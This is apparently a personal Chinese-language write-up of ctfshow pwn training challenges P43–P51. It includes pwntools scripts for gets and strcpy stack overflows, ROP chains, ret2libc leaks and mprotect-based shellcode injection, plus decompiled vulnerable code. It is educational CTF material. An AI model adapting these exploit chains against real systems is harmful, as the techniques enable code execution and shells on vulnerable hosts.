P43 x86 使用gets写入bin/sh
无PIE,canary,有NX
char *ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
return gets(s);
}
gets存在栈溢出
使用plt中的函数构造rop链
用gets写入binsh
buf2在bss段的地址:0x0804B060
根据x86下传参规则:
#写入binsh
#pop_ebx_ret是调整栈帧,返回时将buf2_addr从栈上清理
payload=……+p32(gets_plt)+p32(pop_ebx_ret)+p32(buf2_addr)
#system
payload+=p32(sys_plt)+p32(0)+p32(buf2_addr)
exp:
from pwn import *
p= process('./pwn')
#gdb.attach(p)
setoff= 0x6C
system_addr= 0x08048450
gets_addr= 0x08048420
bss_addr = 0x804b060
pop_ebx_ret= 0x08048409
p.recvuntil(b' * *************************************')
payload= b'a'*(setoff+4)+p32(gets_addr)+p32(pop_ebx_ret)+p32(system_addr)+p32(0x41414141)+p32(bss_addr)
p.sendline(payload)
p.sendline(b'/bin/sh\\x00')
p.interactive()
P44 x86 64 使用gets写入bin/sh
exp:
from pwn import *
p= process('./pwn')
gdb.attach(p)
setoff= 0xA
gets= 0x0000000000400530
sys= 0x0000000000400520
pop_rdi= 0x00000000004007f3
bss_addr= 0x0000000000602080
p.recv()
payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(bss_addr)+p64(gets)+p64(pop_rdi)+p64(bss_addr)+p64(sys)
p.sendline(payload)
#p.sendline(b'/bin/sh\\x00')
p.interactive()
用rdi传参就可以了
P45 x86 ret2libc
exp:
from pwn import *
#p= process('./pwn45')
p = gdb.debug('./pwn45', '''
b main
c
''')
elf= ELF('./pwn45')
#gdb.attach(p,'b main')
context(os= 'linux',arch='i386',log_level='debug')
setoff= 0x6B
main= elf.sym['ctfshow']
write_got= elf.got['write']
write_plt= elf.plt['write']
payload= b'a'*(setoff+4)+ p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvuntil(b'O.o?')
p.sendline(payload)
p.recvline() #别惊讶为啥,puts("O.o?")时会输出换行符,recvuntil遇到分隔符?就停了,而换行符还在缓冲区
leak= p.recv()
leak2=u32(leak)
print(hex(leak2))
setoff2= 0x117b60
libc_base= leak2-setoff2
print(hex(libc_base))
sh= 0x001c4de8+libc_base
sys= 0x00050430+libc_base
payload= b'a'*(setoff+4)+p32(sys)+p32(0)+p32(sh)
p.sendline(payload)
p.interactive()
P46 x86_64 ret2libc
主要注意找到对应寄存器的gaddgets
exp:
from pwn import *
p= process('./pwn46')
gdb.attach(p)
elf= ELF('./pwn46')
context(os='linux',arch='amd64',log_level='debug')
setoff= 0x70
write_plt= elf.plt['write']
write_got= elf.got['write']
main_addr= elf.sym['ctfshow']
pop_rdi= 0x0000000000400803
p.recv()
payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(1)+p64(0x400801)+p64(write_got)+p64(0)+p64(0x0000000000400520)+p64(main_addr)
p.sendline(payload)
leak= p.recv(8)
Leak= u64(leak)
print('this is your addr')
print(hex(Leak))
setoff2= 0x11c590
libc_base= Leak-setoff2
sh= 0x00000000001cb42f+libc_base
sys= 0x0000000000058750+libc_base
payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(sh)+p64(sys)
p.sendline(payload)
p.interactive()
P49 mprotect和read写入shellcode
cheksec 发现有NX保护,可以使用mprotect修改内存执行权限绕过,然后用read写入shellcode跳转执行
*int mprotect(const void start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。 第二个参数是地址往后多大的长度。 第三个参数的是要赋予的权限。 mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值,一般设置为7可读可写可执行
💡
指定的内存区间必须包含整个内存页(4K=1000H),所以要选对齐的内存段
ctrl+s调出程序的段表,got.plt段:0x80DA000(像是bss那种可写的你也可以自己控制一下地址对齐拿来执行shellcode)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
payload += p32(read_addr) #pop ret 清理栈帧
ssize_t read(int fd, void *buf, size_t count)
payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(M_addr) + p32(M_size) +
p32(M_addr)
EXP:
from pwn import *
p=process('./pwn')
context(os="linux",arch="i386",log_level="debug")
#gdb.attach(p)
setoff= 0x12
mprotect= 0x806CDD0
M_addr= 0x80DA000
M_size= 0x1000
ret= 0x80a019b
shellcode= asm(shellcraft.sh())
payload= b'a'*(setoff+4)+p32(mprotect)
payload+= p32(ret)+p32(M_addr)+p32(M_size)+p32(7)+p32(0x806BEE0)
payload+= p32(ret)+p32(0)+p32(M_addr)+p32(M_size)
payload+=p32(M_addr)
p.send(payload)
p.send(shellcode)
p.recv()
p.interactive()
P50 x86_64 mprotect和read写入shellcode
from pwn import *
p=process('./pwn')
#p=remote('pwn.challenge.ctf.show',28115)
context(os= "linux",arch="amd64",log_level="debug")
elf= ELF('./pwn')
#gdb.attach(p)
setoff= 0x20
puts_plt= 0x0000000000400510
puts_got= elf.got['puts']
mprotect_setoff= 0x000000000011bae0
plt_got= 0x0000000000602000
size= 0x1000
pop_rdi= 0x00000000004007e3
p.recv()
payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['ctfshow'])
p.sendline(payload)
leak= u64(p.recv(6).ljust(8, b'\x00'))
libc_base=leak-0x809c0
pop_rsi= 0x0000000000023e6a+libc_base
pop_rdx= 0x0000000000001b96+libc_base
print(f"this isyour puts addr{hex(leak)}")
print(f"this is your libc base addr{hex(leak-0x809c0)}")
p.recv()
shellcode= asm(shellcraft.sh())
payload= b'a'*(setoff+8)+p64(pop_rdi)+p64(plt_got)+ p64(pop_rsi)+p64(0x1000)+ p64(pop_rdx)+p64(7)+ p64(libc_base+mprotect_setoff)
payload+= p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(plt_got)+p64(pop_rdx)+p64(0x1000)+p64(libc_base+0x0000000000110070)+p64(plt_got)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()调用mprotect前后:
P51 strcpy
32位,无PIE
一道阅读原码很困难(对我)的题
EXP:
from pwn import *
p= process('./pwn')
payload = b"I" * 16
payload += p32(0x804902E)
p.recv()
p.sendline(payload)
p.interactive()
分析源码:
int ctfshow()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
char v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
char v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&str1, &unk_804A350); // 输入到str1= read +unk_804A350
//
std::string::operator+=(&str1, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &str1);
Divide(v8); // 分离str1中的i以外字符串到v8
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&str1, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&str1, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::string::operator+=(&str1, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&str1, v3);
}
}
v4 = (const char *)std::string::c_str(&str1);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}
在divide中:
把a2以a3为分隔符分成元素并存入a1
int __userpurge sub_8048F06@<eax>(int a1, int a2, int a3)
{
int v3; // eax
int v5; // [esp-Ch] [ebp-54h]
int v6; // [esp-8h] [ebp-50h]
char v7[24]; // [esp+Ch] [ebp-3Ch] BYREF
unsigned int v8; // [esp+24h] [ebp-24h]
unsigned int v9; // [esp+28h] [ebp-20h]
int i; // [esp+2Ch] [ebp-1Ch]
initialstr(a1);
std::string::operator+=(a2, a3);
v9 = std::string::size(a2);
for ( i = 0; i < (int)v9; ++i ) //遍历
{
v8 = std::string::find(a2, a3, i); //从a2[i]开始寻找a3并返回是第几个字节
if ( v8 < v9 )
{
v6 = i; //~要用
std::string::substr(v7); // substr(v7,a2,i,v8-i) v7=a2[i---v8-i]就是分隔符之间的内容
sub_8049662(a1, v7); //存入
v3 = std::string::size(a3);
i = v3 + v8 - 1; //i跳跃至分隔符之后
std::string::~string(v7, v5, v6);
}
}
return a1;
}
仔细看看 sub_8049662(a1, v7);
void **__cdecl sub_8049662(int a1, int a2)
{
void **result; // eax
int v3[3]; // [esp+Ch] [ebp-Ch] BYREF
if ( *(_DWORD *)(a1 + 4) == *(_DWORD *)(a1 + 8) )
{
sub_804985C(v3);
return sub_8049888((void **)a1, v3[0], a2);
}
else
{
sub_8049828(a1, *(_DWORD *)(a1 + 4), a2);
result = (void **)a1;
*(_DWORD *)(a1 + 4) += 24;
}
return result;
}
可以发现有个vector结构
a1→起始地址
a1+4→下一个插入地址
a1+8→最大空间
每个元素24字节
其实看不太懂,不过这并不重要,理解下原字符串被分隔成几段并存在一个容器里就行
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) ) //第一个前不用加IronMan所以单独处理
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&str1, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i ) //因为第0个已经处理,所以少处理1个:1---num-1
break;
std::string::operator+=(&str1, "IronMan"); //超级拼接
v3 = sub_8049700(v8, i);
std::string::operator+=(&str1, v3);
}
因为strcpy并不会检查是否超出范围,所以多写几个“I”直到覆盖到eip就行,程序内有后面函数cat flag
“IronMan”7个字节,(6C+4)/7=16
payload= b'I'*16+ p32(0x804902E)